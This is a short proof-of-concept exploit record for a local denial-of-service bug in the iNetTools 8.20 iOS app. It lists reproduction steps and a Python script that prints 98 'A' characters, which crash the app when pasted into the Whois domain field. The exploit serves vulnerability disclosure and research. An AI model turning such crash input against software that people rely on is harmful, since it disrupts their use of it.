# Exploit Title: iNetTools for iOS 8.20 - 'Whois' Denial of Service (PoC) # Discovery by: Ivan Marmolejo # Discovery Date: 2019-11-25 # Vendor Homepage: https://apps.apple.com/mx/app/inettools-ping-dns-port-scan/id561659975 # Software Link: App Store for iOS devices # Tested Version: 8.20 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: iPhone 6s iOS 13.2 # Summary: iNetTools is a suite of network diagnose tools on iPhone and iPad. It provides essential tools such as # Ping, DNS Lookup, Trace Route, Port Scan, Whois, Server Monitor, and Lan Scan. # Steps to Produce the Crash: # 1.- Run python code: iNetTools.py # 2.- Copy content to clipboard # 3.- Open "iNetTools for iOS" # 4.- Go to "Whois" # 5.- Paste ClipBoard on "Domain Name" # 6.- Start # 7.- Crashed #!/usr/bin/env python buffer = "\x41" * 98 print (buffer)